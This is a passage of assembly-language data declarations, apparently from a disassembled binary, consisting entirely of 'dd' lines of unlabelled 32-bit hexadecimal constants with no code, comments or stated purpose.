		dd 41D49E50h, 13B67C19h, 3CE8F242h, 0E8F90189h,	2400469h
		dd 0DB68E942h, 8842BFD4h, 0E08FC1EAh, 8321882Bh, 2FD0EC5Ch
		dd 0D55742C8h, 0A3E246B3h, 50042356h, 7EA37B4h,	0D2E328E6h
		dd 0C4D27DB2h, 252D5D78h, 4AA72D8Ch, 0D6010602h, 0FD9B40C6h
		dd 295A0E1Fh, 0F5C0C7B0h, 9734D32Eh, 0E318B962h, 82B6F1ACh
		dd 76756856h, 0E979147Ch, 0A264F7E1h, 79501E8Eh, 0AEEA4148h
		dd 822C5255h, 15307B7Ch, 3391807Ch, 0B0A1CC28h,	0BB03F154h
		dd 0B1243B8h, 46DF3125h, 343CC18Bh, 6B79CA27h, 88056D81h
		dd 0E28447Bh, 93CCBB8Bh, 639DF417h, 7BF2FFB9h, 0ED265FC9h
		dd 172C6D96h, 6FA97EF3h, 3AF30C2Dh, 9797680Fh, 0A34FC2E6h
		dd 9CE98249h, 1F9C7FE0h, 6646681Ah, 30A28927h, 9D121137h
		dd 104E3E4Eh, 707AED44h, 9B4E1116h, 5DEC7D05h, 0FD20EF46h
		dd 5A828EB3h, 4F19F21Fh, 0AF57AFCh, 1F295168h, 0D6EF93F7h
		dd 0CF9C0CC3h, 0D12520A1h, 0D7964C32h, 0FC546BFh, 66707B20h
		dd 898617BCh, 7B43E21h,	2D94187h, 0B0B01A7h, 41C6C1A7h
		dd 0EEBBBBC7h, 69BD0222h, 89FE1AC0h, 81118F40h,	0DC5F3180h
		dd 0EF7CE080h, 8E00AF91h, 298C6F77h, 0A9BCFAF2h, 4AD84BE0h
		dd 51E0BE9Ch, 2E0B2AEBh, 5C1FB5Eh, 0E2D2315Bh, 4F6D952Ch
		dd 25FB89D4h, 0DC023594h, 680450D5h, 4B7A09A7h,	52588DA3h
		dd 58E90705h, 0B0923576h, 4C2D68E7h, 15EC72Fh, 4203C5C2h
		dd 100C820Fh, 75744350h, 80D0C6Ah, 5B14060Ch, 21FEE913h
		dd 9A8704F4h, 4FCA09C3h, 9ED53788h, 59ED947Eh, 67FAE6F9h
		dd 50E7FC09h, 8A0C569Bh, 895C3182h, 8D86ABB0h, 0D8B04D2Eh
		dd 547C4492h, 51D826D6h, 5EF7C3C4h, 0B225D801h,	881F97Ah
		dd 5B136EFBh, 0CB7D9D0Ah, 0C0D7B760h, 310573E7h, 60602EFh
		dd 600FE580h, 6812138Bh, 0BB8C38C5h, 5C340A8h, 0F163209h
		dd 0D0B9E252h, 4499900Eh, 7638ED98h, 0E610AE23h, 42DFE5AFh
		dd 205D0F19h, 55419111h, 4EDBF65Ah, 5E04E215h, 29C4DAD7h
		dd 55F7C292h, 0B98C008h, 39804515h, 191A7A87h, 71D518D0h
		dd 0F2316D02h, 74D6895Eh, 0AE216470h, 0ABCCF205h, 0B32AA08Bh
		dd 89FAA0DAh, 0CA23C09Ah, 6AE24184h, 28A0E2B0h,	0EF05E5E1h
		dd 7F63E9FAh, 58C16891h, 4C53A23Ah, 0C7A2011Bh,	0CF018A1Eh
		dd 0AB7815F5h, 253DB801h, 3B296214h, 3BE2B8C0h,	6B952851h
		dd 18930B85h, 0FDFC5327h, 0E9D18939h, 8051E0D3h, 0B14304F4h
		dd 0D9E12872h, 911B4118h, 426402CAh, 46896016h,	0A50896A6h
		dd 6DECEB82h, 9FD26A0Ch, 0C3652F8Fh, 0F135FEEBh, 0FC6F5CEBh
		dd 0C88529FFh, 9C74996h, 27BC02A5h, 8EEDD503h, 2F7E9627h
		dd 0CA11C209h, 42C43B53h, 0AA2A05EAh, 0BB508CF6h, 0C214DD13h
		dd 0FBD29D04h, 759A8218h, 0D445B32Dh, 670C00CFh, 0D9E9645Ch
		dd 0D0A6064Eh, 0B9C2772Dh, 279F657Fh, 76CBB35Eh, 1A528010h
		dd 0BD553569h, 290D4E62h, 78F9C1EEh, 0D040A853h, 1F50479Eh
		dd 7AC10149h, 0C680B35Ch, 7FAF5EBCh, 298D69BDh,	0A02F37AFh
		dd 86953B2Dh, 0D1F7023Ah, 0B407500Ah, 14F22F1Dh, 189D647Ah
		dd 580F66B7h, 0FE857CA3h, 0AB6C016Ch, 38BD6D39h, 0FC0925E2h
		dd 3F94CCCEh, 0A6F8413Dh, 0A3254A31h, 85CBE9D0h, 48E162C8h
		dd 0EEC0BA72h, 0F4B62A96h, 0F7E993FAh, 0B029AEF4h, 3FFB0CA7h
		dd 96E6E98Fh, 0B64FE1F7h, 6DCD1753h, 58E0C5E8h,	0D09DEF80h
		dd 254F76E2h, 635C0DE6h, 0BE9CE02h, 48FBE6FAh, 325585Bh
		dd 3490EACFh, 8A4A0138h, 0D0E71638h, 514AD560h,	29492F9Ah
		dd 0E405565Ah, 3179A266h, 0EFD053EAh, 0C06A1779h, 7C873ACAh
		dd 0D220B3B0h, 1409DEAh, 292512EBh, 0C966FC55h,	0C815BB85h
		dd 14519A41h, 0B902EF06h, 0EB80D6B0h, 0EBA2F259h, 8D7F8571h
		dd 0C9913E8Dh, 0D59D9A5Ah, 0DBA2A7D1h, 4D77AC68h, 68538EEAh
		dd 0E530AF56h, 95F11FE9h, 17DF06E8h, 0F4621AB6h, 428AFCCh
		dd 72FE97C5h, 5CD87C8Dh, 1EFD4A20h, 5C6CEA80h, 2CD00E29h
		dd 0D8005A8Eh, 6856B353h, 2604964Ah, 3A9186E9h,	0BD20EF29h
		dd 525982A7h, 9DDA5C94h, 8C0571B0h, 6952050Ah, 22DF801h
		dd 0C298E907h, 5A2F22D7h, 62BB5C1Ah, 0B8007F66h, 196F46D5h
		dd 0B8442963h, 9E60C658h, 0CA4F5B8Ah, 2D4F9002h, 0A8366042h
		dd 21C18128h, 412F6137h, 0F96DA1A4h, 5E0E3B2Ah,	0A2B43749h
		dd 0A85B1DCEh, 17F1813Ch, 6C4E8204h, 307C5814h,	405A5E05h
		dd 496E79C4h, 0BE374FE5h, 0A9F062B9h, 0A1391E7Ah, 31068439h
		dd 1FAB5BDAh, 48F6100Eh, 40097C63h, 466593h, 90B711D8h
		dd 2FFF906Ah, 0BAE0B9E9h, 8DEE2B88h, 5D5E249Ah,	18C7DF47h
		dd 3A478503h, 91185C4Ah, 0A050484Fh, 6D48A12Eh,	21FBA7B9h
		dd 6EF1E910h, 5A16323Ah, 6817B458h, 47CC2888h, 64C450A8h
		dd 36180527h, 0AB5C2906h, 0E9D2F049h, 30020C04h, 67105D63h
		dd 0BA2DE73Fh, 12ED77Ah, 190925D5h, 19A55CFh, 0B1838690h
		dd 442582B1h, 25D298B7h, 0F24EEAA2h, 8996D997h,	5BB85450h
		dd 6182D019h, 166A385Ch, 43DBE9Fh, 6A2B7A60h, 81DC1B1Bh
		dd 0B1515BD8h, 121D2FFEh
		dd 0A3EC80C3h, 8AB0B853h, 0C6883952h, 416FD350h, 2AF059FDh
		dd 6C85182Dh, 0F265B668h, 96FC418h, 0E818C6EDh,	0A0EAF182h
		dd 4FD57D26h, 7DDF6209h, 24212B4h, 44EF6813h, 0B1D4E900h
		dd 0D3FA672Fh, 20F72AFh, 0B8886410h, 0DA5E2259h, 94108F62h
		dd 4020B69h, 1026E4Ah, 4C1277EAh, 898801D5h, 7ADB25h, 38450514h
		dd 0E92D3A52h, 0D23682F9h, 3293C82Ch, 0F180809Dh, 8D18E0F5h
		dd 0A003529Ah, 81302166h, 79F41DE7h, 84EF8762h,	0D801A614h
		dd 6126CD0Ch, 0B03B0C44h, 0F89C5BBAh, 86FC5B2Eh, 0B08CBFA4h
		dd 0D3880653h, 6ECEE2E9h, 8CDB2058h, 3966E323h,	587D001h
		dd 835A2725h, 2DD8D829h, 3AFF3020h, 8716B8F7h, 0A27C64D0h
		dd 1F88C542h, 0EBD0ABEDh, 525357B0h, 52CBA00h, 0E94A0816h
		dd 55E8B5CCh, 104EE8C1h, 8711B9B8h, 6148D71h, 0D80AC702h
		dd 0A268139Ah, 0A6D68C1Dh, 0EED4B454h, 0BA338D0Eh, 0C403D23Dh
		dd 64E8803h, 12392D8Ah,	0D0020C51h, 0E9DA1B32h,	8C997042h
		dd 10E59558h, 0C113FA26h, 9559214Ah, 607EF07h, 50FE4A55h
		dd 591608A1h, 13A20856h, 1271A225h, 73B8F7D8h, 0CCEC2E68h
		dd 10961E48h, 800E87CDh, 0CB056AC1h, 6062B159h,	90B5916Fh
		dd 7B85087h, 108F02C5h,	305B0A68h, 0F81EF51Ch, 36F9374Bh
		dd 580AA873h, 0FAD04CF7h, 1322BB1Ch, 18B7003Dh,	9074C68h
		dd 1FB6F55Ch, 5A5282EDh, 2B424A1Eh, 61313C1Ch, 69831284h
		dd 76889FC2h, 8505ABE4h, 0EDB7F957h, 0B4E4F87Ah, 3D5425D9h
		dd 9498405Bh, 0CD7E4C30h, 2B8A0592h, 0C7EC8233h, 5F655507h
		dd 2ABBA540h, 2C4EA80Ch, 10D7D929h, 7E680969h, 0C986FE4Dh
		dd 0B4E71E55h, 96E9612Dh, 5A429367h, 0B1185BF2h, 685091C8h
		dd 7D3BA409h, 58167D17h, 985D053Bh, 5FECE882h, 967F82B4h
		dd 0DCB30EFh, 1138ED8Bh, 0CEFC6F4Bh, 8C55078h, 524059E9h
		dd 2DC20113h, 0D32B30B8h, 9685580h, 6E5B1C31h, 7388E3FCh
		dd 0ECC00081h, 79C48008h, 0C4D506CFh, 0CEEBD85Dh, 517B40A0h
		dd 8848E915h, 194B13A7h, 16C66ABCh, 5E98BF01h, 96C5B12h
		dd 9B42021Ch, 0C029455Fh, 5EE95287h, 0F284C56Bh, 0C3EB4042h
		dd 35742200h, 0DD41BF57h, 0E4CA598Bh, 0E53FBA51h, 30E66CF7h
		dd 2D5EC9BEh, 0C3131D19h, 4D0D4045h, 0F5E9FC03h, 0B8768095h
		dd 1FDA5862h, 1FC72948h, 4EBFB3CEh, 0B1FD8CD5h,	0EF27F87Fh
		dd 2531C6F3h, 868A3CDh,	8081CB60h, 0C2F96571h, 0C11E412Ah
		dd 0F2E41E48h, 0B756E45Fh, 0FB686465h, 2EBAA5ADh, 8083F994h
		dd 0E929091Ch, 39C6758Bh, 9F0D729Fh, 71B7E1F2h,	0A1E3620Eh
		dd 0B3BD20Ah, 0C0424A3Dh, 337B0D9Dh, 100C502Dh,	0F0173ED1h
		dd 5914D3CBh, 10CE3C43h, 5B35B854h, 308BF526h, 519D244Fh
		dd 549F165Ch, 0D31085D8h, 24413ED4h, 5B8902F7h,	1C297659h
		dd 6217FEE6h, 785DA2BEh, 241EBD4Fh, 0FD4FF8C2h,	0FAA66038h
		dd 2564163Fh, 7064FF01h, 0E007C00Bh, 64E6881Bh,	0E4145458h
		dd 1109EA6Ch, 92BB21Eh,	65915DE2h, 5AB1641Bh, 8135F4Eh
		dd 597E12A6h, 3A04B995h, 0EBFC94CDh, 0FAC44F04h, 305ED9AAh
		dd 0D6828F8Fh, 0AB7EDAE3h, 0B01EC68Bh, 253F4581h, 8F681157h
		dd 28817C06h, 0A8B54820h, 0C5F520ADh, 0B8DDE8EAh, 0B353A0B8h
		dd 12F498E0h, 49AEE9BFh, 0C3DE6612h, 0D1125D42h, 0AB66646Fh
		dd 0B9514B80h, 0B34D171Ch, 0A1181230h, 78456CD1h, 20DA4425h
		dd 0BA3D8FD1h, 0BC9012h, 247001B7h, 0F705EEC1h,	8F7F00BDh
		dd 0B5231120h, 5C171000h, 0DA95D6E5h, 59CF3854h, 0A6EF5AFDh
		dd 91909276h, 0C064E7E9h, 488DB97Ah, 0C17B57B1h, 3EF0F97h
		dd 0B0566E54h, 2C1F39F1h, 139A28B5h, 5BFDF222h,	0CEC3B81h
		dd 1244A66Bh, 69EF4893h, 10BD2DCAh, 0E9091D28h,	0B7C4AE29h
		dd 5475939Ah, 78050F2Fh, 0BC75A46h, 0C87C58FDh,	0DC13F4Dh
		dd 3B8F030h, 0D598053Bh, 2AF90FBFh, 74D662AAh, 28C242C8h
		dd 8C3AF529h, 4B972D1Ch, 0DDFDE9F7h, 3A8CC93Ah,	29BF7552h
		dd 540CB466h, 0F031A045h, 29815FF2h, 2A9BE9C5h,	6FB85E00h
		dd 907F8B31h, 0FC164B18h, 0A4F2A5A8h, 43641B14h, 344240D2h
		dd 0E914541Dh, 3E163EEBh, 1B87341Ch, 53B2A4ABh,	98F081Fh
		dd 0A27C7BE2h, 0FE02C38Fh, 49B52112h, 7996096Eh, 0C58312C0h
		dd 50B15180h, 3E6699B2h, 32A4CC08h, 0D192BA4Eh,	1F5B5663h
		dd 0EE0849ACh, 2B512C99h, 832282CAh, 0A8F28EC4h, 1C770901h
		dd 0B6292F5Eh, 4A674430h, 40FBC5Ah, 0B79FCF3h, 556C300h
		dd 90C97175h, 0F392916Ch, 26A9E23Fh, 599A4907h,	178A74CCh
		dd 55A28Ah, 771633D2h, 625DEA31h, 9B2A9452h, 82CBA00h
		dd 0E81E6DCh, 9556B2F2h, 4BEA825Dh, 40575264h, 7A115F88h
		dd 66315E8Eh, 58A12A27h, 3B7FE894h, 0AA428F26h,	0A090634h
		dd 2700F75Eh, 25A85196h, 0F367E7FEh, 0F7670E2Ch, 0F695E60h
		dd 304200C7h, 0F41EB09Fh, 795F0268h, 5DFA78CDh,	3FB91610h
		dd 11F930Ah, 82092D3h, 0E34FE916h, 0C013B0E4h, 468305E5h
		dd 90F41C5Dh, 3040409Fh, 6F249CC3h, 0D462DFA4h,	82AF07BFh
		dd 0EA435544h, 4BD4A197h, 8DE9D301h, 0E20724EFh, 0CC910255h
		dd 617FF854h, 8105855Eh, 4186D821h, 89F59691h, 0D3FC87F3h
		dd 0DD38C27Bh, 0E9A17DC3h, 0AA2BAE6Dh, 273D5B2Dh, 0FFD14C54h
		dd 77D24D2Eh, 0A6002ED1h, 4A900DEEh, 0C9DB4CF7h, 7E537174h
		dd 41E1042Fh, 80671938h, 7D3501F3h, 0D1F7341Fh,	2509CD2Ch
		dd 2D3671A7h, 0B927C0DAh, 6FDDD6DAh, 97253B2h, 0D8900178h
		dd 2A3B5873h, 350C7B14h, 8E703EC4h, 323B171Dh, 401DED64h
		dd 0B2B85E08h, 9D5BB540h, 7997C2D0h, 9F5E7066h,	4B290180h
		dd 0C1FEC59h, 0D83D2EA3h, 164B13F6h, 72DAC0AAh,	0FD0968CFh
		dd 47CBF8E9h, 0B050013Eh, 78A5E9EAh, 72EC4F4Ch,	2927EBA5h
		dd 25CB5E09h, 0DDB0E2E6h, 0E06B6B41h, 255A6F0Eh, 57136EF7h
		dd 35F00555h, 787EE282h, 0DFE01726h, 4975EB8Fh,	0AD2B418Fh
		dd 0AC07E8D3h, 552D0447h, 0BF384558h, 907DA10h,	0C6288468h
		dd 64BE2F40h, 53208CC6h, 0A558979Ah, 0E602A598h, 5AA15E1Eh
		dd 4D647746h, 1183440Ah, 0EA2DD820h, 0E991C0A2h, 9DE65E51h
		dd 22003ECAh, 0E926F472h, 2F479CB8h, 0CA09226Eh, 82748334h
		dd 681AC41h, 326DA830h,	5FF80D06h, 804B94D4h, 121618ACh
		dd 0BD2B0BDh, 896F9D43h, 15D02922h, 0BDEA25ADh,	2E2C384h
		dd 57EA68ACh, 7174E56Ch, 13805C81h, 0A230C4BAh,	60E34235h
		dd 2001A42Bh, 0C1404123h, 85C405E8h, 9D5EE036h,	81E9B140h
		dd 3C0C6649h, 0F9B902C5h, 0FC63093Bh, 28894E5Bh, 0EE55C125h
		dd 20F59261h, 5C581A8h,	3B430D33h, 68C8EF01h, 3A606BE1h
		dd 216432D9h, 0B39116BBh, 0B1168456h, 5AA18AAAh, 82B864E0h
		dd 0EB36F6C0h, 0FCC8E4B7h, 2D779E2Fh, 97AC0667h, 25A9133h
		dd 0B3556D70h, 858F0127h, 5D3C08F4h, 5EEC4C2Ah,	2888064h
		dd 2C4AC168h, 417AABCCh, 0E4812BCDh, 0F00DA41h,	965F5F85h
		dd 0B11200A4h, 0D3A5B900h, 0C7BF40F0h, 121DAC15h, 69E73D65h
		dd 7E8D2E57h, 0C3015D85h, 327E8E80h, 7B4078FDh,	488F62EBh
		dd 0F8095FDAh, 0BDC1F1B8h, 8542287Eh, 6E31BC41h, 0B1ACD42Fh
		dd 3FAEF91Ch, 35BCFAE5h, 0FCC29197h, 0C225C9E5h, 889ED5EEh
		dd 0C540A990h, 0EE29B709h, 0AE62BB04h, 70EE6432h, 888EB669h
		dd 5800A015h, 1CB8CD81h, 0F75C1BE1h, 0EDD004DDh, 0EB163EFEh
		dd 0E464557Ch
		dd 0CEE9D1C1h, 0F500012Dh, 68317F5Eh, 6009892Dh, 8012604h
		dd 5D130785h, 0E32087F8h, 0B9B72AA0h, 98F20180h, 5B3404D4h
		dd 0FA5E7383h, 92E10CDh, 0AB60F8B9h, 2B8E7D1h, 2AEDA40Fh
		dd 0DD52A937h, 50D9639Ah, 9AEF8100h, 243E6F50h,	0F9DCF29h
		dd 3529373Dh, 0E6A34100h, 396F6E0h, 0C8F0133Ch,	7A886188h
		dd 0CCFA27EFh, 53EB01D6h, 0E67A4997h, 0DF9E7BFEh, 0CDCC75D2h
		dd 0F51E661Ch, 0DF0122E6h, 3541595Bh, 5F1B40D4h, 4847BC60h
		dd 5030229h, 0FDC74A79h, 88FDA784h, 0EE164706h,	12AE69BAh
		dd 0FECE031Dh, 0C0C4F27Ch, 254B99CAh, 1AE6358h,	8352275h
		dd 623BF029h, 0E9415130h, 0A254027Eh, 52F50DEEh, 9A681209h
		dd 58568A2Dh, 60EEB52Eh, 720CEDE1h, 7465E02Dh, 4E08A075h
		dd 5C48285Fh, 92F7E913h, 0D3CB72BFh, 915E2610h,	0FE8783ACh
		dd 84BD7F7h, 117A9549h,	0D22FED93h, 9A755900h, 55C07DD3h
		dd 9E4ED5E9h, 5B68FA88h, 8FDEF927h, 0E9093065h,	0C5D4D1BFh
		dd 0E37A6662h, 74AAEA6Eh, 0A2F61B3Bh, 0D5865AE0h, 0E0F06BE9h
		dd 0EE8831E8h, 5477C76Ch, 8C63ED5Ch, 8262F65Eh,	58C5A4DEh
		dd 7E06A700h, 248164B7h, 1DA828E7h, 44CF8025h, 877A200Dh
		dd 6C541ECh, 8812DFF7h,	5FCAE400h, 5031B55Bh, 1EAB6F8h
		dd 2E751DC5h, 7AF634E9h, 0A2DDFDB2h, 0C85D7327h, 0F485F65h
		dd 0D501FE34h, 0CC15BBA4h, 0EF02C08Fh, 0E1B15108h, 0CA047FD0h
		dd 0C88FAC6Ch, 0E956E114h, 48772878h, 459F7533h, 0CAC02DDEh
		dd 26C9C903h, 16BA8150h, 5720CA47h, 355D1AE8h, 1B421112h
		dd 75C1CB55h, 272A130Ch, 55BB578h, 0BF1D0808h, 5AA88916h
		dd 430F8CD7h, 0F5F76F62h, 0AC845728h, 105ABC01h, 59167E96h
		dd 2439BF56h, 0DF96212Eh, 814B00D9h, 3D1001F3h,	0DD29197Dh
		dd 6851855Bh, 6F981279h, 53049FC1h, 102ABD51h, 7E6E169Bh
		dd 7E13C0ABh, 260BE673h, 465F5C0Dh, 0CA2D5CD0h,	0BF513E13h
		dd 18FB9B56h, 52370F7Dh, 4A13C23Ch, 4AE97F9Ch, 86C50560h
		dd 0C58A82E3h, 31E9E954h, 0E50101C8h, 0EF5B0306h, 77284790h
		dd 0F7DEC431h, 400AA1DEh, 446F96BBh, 0F1811101h, 0A303699h
		dd 93B28820h, 0BFD83914h, 4328FBE5h, 60C15985h,	300E680Ch
		dd 0CC5ABDC1h, 54F4792Dh, 0C9CDC0FEh, 5B7933EFh, 0D7CBCAF7h
		dd 2602BC84h, 163EC075h, 46E5EFEDh, 0F7C6AFDDh,	0BB003E9Ch
		dd 48327AD8h, 0F2576851h, 0E91F09F4h, 0F1D4A9BCh, 5BCF62h
		dd 0D105F801h, 1A71061Dh, 13682742h, 0FD9A751Bh, 3BDC561h
		dd 5B22F95Ch, 0E0964028h, 0E9185232h, 0E0EBB6D2h, 5FBB0553h
		dd 83101770h, 6D4AE509h, 0A1C502D1h, 88685900h,	29F36B4Fh
		dd 5C75B438h, 0E91662F8h, 5FE9C138h, 7664ED68h,	6E32CA2h
		dd 0BBC42808h, 0CF4B319h, 541B312Ch, 0F07CA9F2h, 523DE955h
		dd 9307C692h, 6F15CC5Ah, 0EEDADB80h, 550E2D95h,	0A03F9466h
		dd 28677BD4h, 5C82801h,	1143EB07h, 0C0F2DD59h, 94E7E8D3h
		dd 3A044AA1h, 71C1EB88h, 5BD1D830h, 0C38F827Ah,	85E3FD13h
		dd 0C2A5E912h, 79613104h, 7A87254Eh, 0A964412Dh, 0A26C5B0Eh
		dd 14964CFEh, 0C1DF3D9Bh, 503CD2BAh, 7D0F052Ah,	4F9AB79Ah
		dd 607B8839h, 0F4642DF3h, 6AE96B09h, 0CFCBDCAEh, 0EEC7C5D7h
		dd 0DA5C8DDAh, 25C2B32Dh, 0EF051412h, 0B9954972h, 139C8E02h
		dd 0D0F8F841h, 916292Ah, 7E525EF1h, 1907CC03h, 0D1C374h
		dd 0ADCFC115h, 62052B85h, 555A3476h, 74052FCh, 2D7A9859h
		dd 6CD66E97h, 0B1A77D2h, 0ED02E179h, 0F450EC97h, 9CD0B07h
		dd 5C4297DEh, 3529F208h, 1AC25A1Ah, 0B65A0BA3h,	54436C95h
		dd 5A179944h, 9E8FFDF0h, 0F9D6C089h, 0B8F84470h, 37E94AD8h
		dd 9412C2F4h, 2FD62C2Ch, 0B540EB6Ch, 546247F8h,	0B7EEE9Eh
		dd 7F8C41D6h, 1EC275DCh, 0BD4738B0h, 0B38B4197h, 748508BAh
		dd 0C0442705h, 2227B19Bh, 2BEEAA9h, 0AA57F9F6h,	9B45532Dh
		dd 19B3FE45h, 30D0F7D4h, 279530BBh, 5F6FEC6h, 81C9DF9Fh
		dd 0F7821059h, 216B90D2h, 5D94274Ch, 0D82C9241h, 52A42A68h
		dd 0A2B426A2h, 4E1380DAh, 815B3F09h, 1C44CB00h,	98E97578h
		dd 92309AD2h, 9668121Ch, 25DAA36Ch, 80F98107h, 9CE018E2h
		dd 0B255C6D8h, 872D7343h, 0AA16E748h, 0C0681507h, 0B24F2C38h
		dd 0BE9CBF3h, 408DFC87h, 3F86FF7h, 7EBB4CAh, 2D2F5810h
		dd 0F09D3AF0h, 3BCCB5E6h, 0BD7ED04h, 4AA4912h, 573141Fh
		dd 0C106C831h, 6679C90h, 0E77C25F1h, 22201810h,	570912F4h
		dd 0AB13041Ch, 542D0158h, 0CB20011Dh, 70551D0h,	5A91CB3Ah
		dd 0EDEC5244h, 0D4925D0Ch, 210B6C18h, 0FCA9CF0Ch, 835552E9h
		dd 7773CDDEh, 0B65E3B75h, 0F9EC3E89h, 0F7DE2738h, 2DE473F2h
		dd 0AE0AB979h, 0C28ADC7Ah, 0D4AD3962h, 4CF75AA4h, 0E0192FC0h
		dd 0E1AC4A49h, 0DE176A2Bh, 462F27EFh, 0C207E8EAh, 7B642AD2h
		dd 5610F260h, 74484C12h, 2CE1D820h, 5D3610F9h, 57FA347Dh
		dd 66CCEA0Ah, 10F18301h, 49CC2AB7h, 0B13416B3h,	0D71ABA84h
		dd 0F99CC01Bh, 9741B4E4h, 11C30F36h, 16A4DC66h,	6E252BBCh
		dd 0CA6F4BD7h, 6FED7C27h, 81D82EF2h, 0A92FAEB9h, 23D3C016h
		dd 37122671h, 634902CDh, 967C39B6h, 0C920C040h,	2CF2984Fh
		dd 6B06177Bh, 77B82602h, 2956DC6h, 0D4C47E55h, 0EB31E23Ah
		dd 3411E060h, 0CCE021AAh, 642E61F2h, 4F30B538h,	3D5AC580h
		dd 0D012EC30h, 0CA34EA6Dh, 0C2F49AF8h, 0BCA9298Ch, 0C9E89E54h
		dd 0BF70F607h, 9186851h, 0E65F306Fh, 77177C19h,	0AEF971E9h
		dd 0D210ED5Bh, 0E4754BEBh, 0E9357981h, 796683Bh, 6258EABFh
		dd 54960580h, 0D2074CE5h, 43FE114Fh, 0FA960C95h, 58095D67h
		dd 0E65495DFh, 1092AEC4h, 4260C259h, 90088E10h,	0CA103448h
		dd 354A5C8Eh, 2F990DACh, 0DD92E9BFh, 4C718BCEh,	0C0A786Fh
		dd 0C9483BAFh, 721DE503h, 12260456h, 0FACF7B4Bh, 50518F80h
		dd 5CA0468h, 0BA586099h, 0F4E96C80h, 825181F1h,	590DAE40h
		dd 0BA116026h, 65720E17h, 27536CE9h, 0CB6E7156h, 6E47EDBCh
		dd 0EBE3DD41h, 4521A031h, 242684F8h, 28527A5h, 33EC7A7Ch
		dd 11907DF8h, 9C667E1Fh, 0FC0DE82Dh, 1732409h, 387203D6h
		dd 18010C8Ah, 0CF1BB3DBh, 0C974D1E9h, 0B70F025Ch, 55F768C8h
		dd 70982EC8h, 637DD381h, 0BFDB0B13h, 0E3974A37h, 45F7FC69h
		dd 7B08BAC6h, 0E51A8820h, 60EC8712h, 2810F00Bh,	41E602DDh
		dd 9F8846C9h, 0CDF5616h, 0E47CF425h, 180EE65Ch,	0C69CC885h
		dd 5828255h, 3105A471h,	2A05CF00h, 0FAF4BED0h, 861BCC13h
		dd 9AF9F644h, 5855FE0Bh, 0CF5B2C11h, 0D33CB89Ah, 0A709CE2Dh
		dd 296435D6h, 0FD5EE0A8h, 70E9A1E2h, 5ED3C22Eh,	0FEAB947Dh
		dd 0B2715B76h, 605396E1h, 0E0880A09h, 0B9FF6609h, 68531FC7h
		dd 9DA0045h, 28BE74E2h,	8B4E1DF6h, 7FF18213h, 30B72C2Bh
		dd 152F24A1h, 50D3CFEBh, 0A8B00E61h, 62CBD19Dh,	0E625BCC9h
		dd 0AF2BB804h, 1B326807h, 507FC8E6h, 9733341h, 7298BE61h
		dd 48E7645Bh, 0ACE7B18h, 2069140Ch, 0A60C7E78h,	0D949D76Ch
		dd 5AE0B729h, 3D2F2196h, 5F394A2Dh, 0CCB73A3Eh,	0F4B382DBh
		dd 54AD084Eh, 0A857580Ch, 806C40DCh, 0FDD8EA28h, 0EBEE5A71h
		dd 0AF06EF64h, 7BD76BE5h, 5AE91806h, 0D83034A5h, 6480F1BFh
		dd 0F6EB81B0h, 0E0E37BBAh, 232966C5h, 930364CBh, 0AB7AACBDh
		dd 0CA0DD239h, 9B2DDEBh, 0DB6CF05Ch, 4123A131h,	52A1A615h
		dd 6AC25B9Fh, 234DC881h
		dd 0D6527AA8h, 6C0A640Eh, 9B72E9ABh, 0FEAC18B7h, 0AF638278h
		dd 68287B27h, 4B996882h, 0A57CBC77h, 0E9F99CABh, 8B61152Eh
		dd 0BDC57CA7h, 0D15EFB15h, 0E682F74h, 539344F1h, 1141BFC0h
		dd 0E97D127Ah, 0EA0385E4h, 87F9E41Fh, 23BB1933h, 0F76FE06Fh
		dd 0C051E444h, 3C02E0FDh, 35505869h, 0BE025906h, 1CCE19C5h
		dd 0E6005F31h, 7DA2E9F0h, 27DA4CB5h, 0EBD37823h, 7AB0F749h
		dd 90B47C30h, 0D211F8A4h, 4D5AC905h, 5BD2879Fh,	8E68DEC0h
		dd 0EA903395h, 0AF2D7353h, 0D313E3C8h, 0D66BD0BCh, 4C01884Ah
		dd 4D1FC97h, 442A5FFDh,	677EF31h, 0E9AC5A59h, 0FA6894C0h
		dd 7BE6AA0Ah, 4AF0BEC5h, 5454208h, 0D4E0146Ch, 8282E71Bh
		dd 0D995DAA0h, 8F27257Eh, 0FE6E49A1h, 485D5A7Ch, 7CC025D1h
		dd 0D6A50807h, 52E1933Eh, 407E2CE4h, 88CF666Ch,	1FD2ED87h
		dd 283E3E62h, 0A77E0227h, 9584E958h, 0A929A505h, 5D387457h
		dd 314AFE69h, 515F5905h, 2C6E8200h, 25C17CB1h, 137404EFh
		dd 34ED3580h, 2F989F8h,	0E9CA015Fh, 0D6A2C7BCh,	0BB7E50EBh
		dd 57108F65h, 0DDEC84DFh, 48E2A813h, 794D1996h,	0BEC85625h
		dd 21B4CD9h, 5EB4F23Ch,	0DB0AEF3Ah, 2C47A6B0h, 7CF75786h
		dd 606B06BEh, 0D4F12175h, 61818E6h, 1C0C0BF7h, 0F53FED44h
		dd 8E6A2052h, 7768F782h, 905A3AC7h, 0F9ED08h, 0D102E7C1h
		dd 0CF0581EFh, 286D4E9Ch, 0B56501EBh, 2A297D78h, 716BA404h
		dd 0AEC775AAh, 40F9DBD8h, 0EC1E86A1h, 8E4BCCFEh, 0DF81ABC2h
		dd 0C12A589h, 68FE8EC1h, 51E6C4E9h, 50555907h, 6778CDB9h
		dd 20E77B58h, 0B2521EC6h, 569709B7h, 1E27B25h, 60437FDDh
		dd 8CA9867h, 515B25BAh,	6BD8898Bh, 1DE3537h, 2C1FB1Eh
		dd 537E5CFBh, 0D75EEB86h, 0D58183D6h, 54F2840Fh, 20561302h
		dd 7B515933h, 321B4F58h, 0FDED3F91h, 3E96AD4Ah,	667D59BFh
		dd 6813FD66h, 8A604B43h, 0B56FCCE9h, 77B1BC1Eh,	4F6515A6h
		dd 75FB975Ch, 0E9BD815Ah, 8C25F9DEh, 0CE13D553h, 3959A749h
		dd 4D982993h, 50533D5Dh, 5B75B801h, 448173D7h, 224EB426h
		dd 0E1A33BF5h, 5402CD31h, 6546C4E5h, 0C0866852h, 1CFD48FBh
		dd 40B5E724h, 306887B9h, 702015Ch, 21651792h, 0B20D619h
		dd 0BDF47335h, 3DED71E9h, 0AF719BB5h, 605CE222h, 0FAF6EF48h
		dd 0D021166Fh, 0F8A7A45Ah, 61A7104Bh, 0C4329F05h, 5273986Fh
		dd 6B0ABA02h, 0E2425E39h, 9164FFC7h, 3AD4CA1Ch,	5EE2C92h
		dd 0EB988BB4h, 50E1FA89h, 0D9BC443Eh, 4F52B85Bh, 39505DB6h
		dd 0E6F94EB3h, 8A4E7A5Ah, 51ED7784h, 78E8DD2h, 0E8C67BEFh
